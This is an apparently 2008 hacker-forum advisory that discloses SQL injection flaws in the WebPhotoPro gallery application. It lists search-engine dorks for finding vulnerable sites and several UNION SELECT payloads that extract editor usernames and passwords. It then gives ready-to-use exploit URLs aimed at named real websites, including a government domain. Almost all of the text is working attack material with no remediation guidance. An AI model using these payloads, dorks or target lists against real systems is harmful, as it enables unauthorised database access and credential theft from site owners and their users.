webphotopro-sql.txt

`################################################################   
# .___ __ _______ .___ #   
# __| _/____ _______| | __ ____ \ _ \ __| _/____ #   
# / __ |\__ \\_ __ \ |/ // ___\/ /_\ \ / __ |/ __ \ #   
# / /_/ | / __ \| | \/ <\ \___\ \_/ \/ /_/ \ ___/ #   
# \____ |(______/__| |__|_ \\_____>\_____ /\_____|\____\ #   
# \/ \/ \/ #   
# ___________ ______ _ __ #   
# _/ ___\_ __ \_/ __ \ \/ \/ / #   
# \ \___| | \/\ ___/\ / #   
# \___ >__| \___ >\/\_/ #   
# est.2007 \/ \/ forum.darkc0de.com #   
################################################################   
# --- d3hydr8 - rsauron - P47r1ck - r45c4l - C1c4Tr1Z - bennu #   
# --- QKrun1x - skillfaker - Croathack - Optyx - Nuclear #  
# --- Eliminator and to all members of darkc0de and ljuska.org# #  
################################################################   
#   
# Author: baltazar and sinner_01   
#   
# Home : www.darkc0de.com & ljuska.org  
#   
# Email : [email protected], [email protected]  
#   
# Share the c0de!   
#   
################################################################   
#   
# App Name: WebPhotoPro  
#   
# App Home: http://www.webphotopro.com/  
#  
# Dork: inurl:/art.php?idm=  
# Dork: intext:"Powered by WebPhotoPro"  
# Dork: inurl:/rub.php?idr=  
# Dork: inurl:/galeri_info.php?lang=  
# Dork: inurl:/galeri_info.php?l=  
# Dork: inurl:/galeri_info.php?ida=  
# Dork: inurl:/tekst.php?idt=  
# Dork: inurl:/rubrika.php?idr=  
#   
# POC: art.php?idm=1'+and+1=2+union+all+select+1,2,3,4,5,6,concat_ws(char(58),username,password),8,9,10,11,12,13+from+editor/*  
# POC: rub.php?idr=1+and+1=2+union+all+select+1,2,3,4,5,6,concat_ws(char(58),username,password),8,9,10,11,12+from+editor--  
# POC: rub.php?idr=1+and+1=2+union+all+select+1,2,3,concat_ws(char(58),username,password),5,6,7,8,9+from+editor--  
# POC: rub.php?idr=1+and+1=2+union+all+select+1,2,3,concat_ws(char(58),username,password),5,6,7,8,9,10+from+editor--  
# POC: galeri_info.php?ida=1+and+1=2+union+all+select+1,2,3,concat_ws(char(58),username,password),5,6+from+editor/*  
# POC: galeri_info.php?ida=1+and+1=2+union+all+select+1,concat_ws(char(58),username,password),3,4,5,6,7+from+editor/*  
# POC: rubrika.php?idr=1+and+1=2+union+all+select+1,concat_ws(char(58),username,password),3,4,5,6,7+from+editor--  
#  
# Example:  
#   
#http://www.cooperationaid.org/art.php?idm=1'+and+1=2+union+all+select+1,2,3,4,5,6,concat_ws(char(58),username,password),8,9,10,11,12,13+from+editor/*  
# http://www.mete.gov.al/rub.php?idr=1+and+1=2+union+all+select+1,2,3,4,5,6,concat_ws(char(58),username,password),8,9,10,11,12+from+editor--  
# http://www.ndryshe.com/rub.php?idr=16+and+1=2+union+all+select+1,2,3,concat_ws(char(58),username,password),5,6,7,8,9+from+editor--  
# http://shendetijuaj.com/rub.php?idr=8+and+1=2+union+all+select+1,2,3,concat_ws(char(58),username,password),5,6,7,8,9,10+from+editor--  
#http://www.albauto.com/rallyalbania/galeri_info.php?ida=1+and+1=2+union+all+select+1,2,3,concat_ws(char(58),username,password),5,6+from+editor/*  
#http://www.armandhabazaj.com/galeri_info.php?ida=1+and+1=2+union+all+select+1,concat_ws(char(58),username,password),3,4,5,6,7+from+editor/*  
#http://www.gazeta-albania.net/rubrika.php?idr=1+and+1=2+union+all+select+1,concat_ws(char(58),username,password),3,4,5,6,7+from+editor--  
#http://www.femijetsot.org/galeri_info.php?lang=AL&idr=82&ida=1+and+1=2+union+all+select+1,2,3,concat_ws(char(58),username,password),5,6+from+editor/*  
#http://bujarleskaj.com/galeri_info.php?l=a&p=44&ida=1+and+1=2+union+all+select+1,2,3,concat_ws(char(58),username,password),5,6+from+editor/*  
#  
################################################################   
# Vuln Discovered 04/15/2008   
  
`